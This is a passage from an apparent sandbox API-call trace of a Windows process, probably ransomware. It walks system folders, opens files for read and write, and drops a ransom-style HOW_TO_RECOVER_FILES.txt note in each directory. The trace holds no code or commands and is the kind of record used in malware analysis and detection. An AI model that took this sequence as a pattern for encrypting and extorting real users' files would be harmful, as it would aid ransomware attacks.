ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xf960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0072.424] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa598, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0072.424] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa598, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0072.424] FindClose (in: hFindFile=0x1ec326b0 | out: hFindFile=0x1ec326b0) returned 1 [0072.424] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0072.424] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0072.424] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-TW\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-TW\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0072.424] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0072.424] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x321ebe8 | out: lpFileInformation=0x321ebe8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xf960)) returned 1 [0072.425] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0072.425] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-TW\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-TW\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0072.425] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0072.425] CreateFileW (lpFileName="C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0072.426] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59a6a0) returned 1 [0072.427] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-TW\\memtest.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-TW\\memtest.exe.mui", lpFilePart=0x0) returned 0x1d [0072.427] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0072.427] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-TW\\memtest.exe.mui" (normalized: "c:\\boot\\zh-tw\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x321f298 | out: lpFileInformation=0x321f298*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa598)) returned 1 [0072.428] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0072.428] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-TW\\memtest.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-TW\\memtest.exe.mui", lpFilePart=0x0) returned 0x1d [0072.428] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0072.428] CreateFileW (lpFileName="C:\\Boot\\zh-TW\\memtest.exe.mui" (normalized: "c:\\boot\\zh-tw\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0072.429] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59a6a0) returned 1 [0072.430] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-TW\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59da50, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-TW\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x26 [0072.430] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59df70) returned 1 [0072.430] CreateFileW (lpFileName="C:\\Boot\\zh-TW\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\boot\\zh-tw\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0072.432] GetFileType (hFile=0x768) returned 0x1 [0072.432] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dee0) returned 1 [0072.432] GetFileType (hFile=0x768) returned 0x1 [0072.432] WriteFile (in: hFile=0x768, lpBuffer=0x3221c98*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59e038, lpOverlapped=0x0 | out: lpBuffer=0x3221c98*, lpNumberOfBytesWritten=0x1f59e038*=0x5d0, lpOverlapped=0x0) returned 1 [0072.433] CloseHandle (hObject=0x768) returned 1 [0072.434] GetFullPathNameW (in: lpFileName="C:\\Boot\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59e480, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x20 [0072.434] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e9a0) returned 1 [0072.434] CreateFileW (lpFileName="C:\\Boot\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\boot\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0072.434] GetFileType (hFile=0x768) returned 0x1 [0072.434] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e910) returned 1 [0072.434] GetFileType (hFile=0x768) returned 0x1 [0072.435] WriteFile (in: hFile=0x768, lpBuffer=0x3225470*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59ea68, lpOverlapped=0x0 | out: lpBuffer=0x3225470*, lpNumberOfBytesWritten=0x1f59ea68*=0x5d0, lpOverlapped=0x0) returned 1 [0072.436] CloseHandle (hObject=0x768) returned 1 [0072.436] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ea30) returned 1 [0072.436] GetFullPathNameW (in: lpFileName="C:\\Documents and Settings", nBufferLength=0x105, lpBuffer=0x1f59e4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Documents and Settings", lpFilePart=0x0) returned 0x19 [0072.436] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\*", lpFindFileData=0x1f59e750 | out: lpFindFileData=0x1f59e750*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0072.437] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e9e0) returned 1 [0072.439] GetFullPathNameW (in: lpFileName="C:\\Documents and Settings\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59e480, lpFilePart=0x0 | out: lpBuffer="C:\\Documents and Settings\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x32 [0072.439] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e9a0) returned 1 [0072.439] CreateFileW (lpFileName="C:\\Documents and Settings\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\documents and settings\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0072.774] GetFileType (hFile=0x768) returned 0x1 [0072.774] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e910) returned 1 [0072.774] GetFileType (hFile=0x768) returned 0x1 [0072.775] WriteFile (in: hFile=0x768, lpBuffer=0x3330e00*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59ea68, lpOverlapped=0x0 | out: lpBuffer=0x3330e00*, lpNumberOfBytesWritten=0x1f59ea68*=0x5d0, lpOverlapped=0x0) returned 1 [0072.776] CloseHandle (hObject=0x768) returned 1 [0072.776] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ea30) returned 1 [0072.777] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache", nBufferLength=0x105, lpBuffer=0x1f59e4d0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache", lpFilePart=0x0) returned 0x1c [0072.777] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\*", lpFindFileData=0x1f59e750 | out: lpFindFileData=0x1f59e750*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdefc9a0c, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdefc9a0c, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec326b0 [0072.778] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdefc9a0c, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdefc9a0c, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.779] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd26065d8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e0f451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd262c839, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", cAlternateFileName="{13A4E~1.210")) returned 1 [0072.779] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e7475e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf03b3d5, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", cAlternateFileName="{33D1F~1")) returned 1 [0072.779] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e75aa9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b0dbb0, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", cAlternateFileName="{37B8F~1.610")) returned 1 [0072.779] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd408c921, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebeed6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd40b2b5b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{3c3aafc8-d898-43ec-998f-965ffdae065a}", cAlternateFileName="{3C3AA~1")) returned 1 [0072.780] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebf4ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9affe46, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", cAlternateFileName="{582EA~1.250")) returned 1 [0072.780] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9b26095, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec0a31, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9b26095, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", cAlternateFileName="{68306~1.250")) returned 1 [0072.780] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc800531, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc800531, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", cAlternateFileName="{8D4F7~1.250")) returned 1 [0072.780] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f1d0bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", cAlternateFileName="{929FB~1.210")) returned 1 [0072.780] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd40fefff, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f768c8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd414b4b9, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", cAlternateFileName="{A749D~1.210")) returned 1 [0072.780] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2fe5a20, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0f9f9b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", cAlternateFileName="{B1755~1.610")) returned 1 [0072.781] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf087898, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3032038, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0d3d43, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", cAlternateFileName="{BD95A~1.610")) returned 1 [0072.781] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0a28d82, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc307e4cc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0a28d82, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", cAlternateFileName="{CA675~1")) returned 1 [0072.781] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0a9b495, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc307f5ec, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0ae7939, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", cAlternateFileName="{CF2BE~1.610")) returned 1 [0072.781] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc8267ac, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", cAlternateFileName="{E5127~1.250")) returned 1 [0072.781] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc767be9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc767be9, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc767be9, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e52a6842-b0ac-476e-b48f-378a97a67346}", cAlternateFileName="{E52A6~1")) returned 1 [0072.781] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2593ec2, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d43b1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2593ec2, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", cAlternateFileName="{E6E75~1")) returned 1 [0072.782] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9a674c8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d5598, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9a674c8, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{f325f05b-f963-4640-a43b-c8a494cdda0f}", cAlternateFileName="{F325F~1")) returned 1 [0072.782] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2652a95, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d5efa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2678ce4, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", cAlternateFileName="{F8CFE~1.210")) returned 1 [0072.782] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2652a95, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d5efa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2678ce4, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", cAlternateFileName="{F8CFE~1.210")) returned 0 [0072.782] FindClose (in: hFindFile=0x1ec326b0 | out: hFindFile=0x1ec326b0) returned 1 [0072.783] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e970) returned 1 [0072.783] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e930) returned 1 [0072.783] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ea30) returned 1 [0072.783] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache", nBufferLength=0x105, lpBuffer=0x1f59e4d0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache", lpFilePart=0x0) returned 0x1c [0072.783] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\*", lpFindFileData=0x1f59e750 | out: lpFindFileData=0x1f59e750*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdefc9a0c, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdefc9a0c, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec326b0 [0072.784] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdefc9a0c, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdefc9a0c, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.784] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd26065d8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e0f451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd262c839, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", cAlternateFileName="{13A4E~1.210")) returned 1 [0072.784] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e7475e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf03b3d5, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", cAlternateFileName="{33D1F~1")) returned 1 [0072.784] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e75aa9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b0dbb0, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, 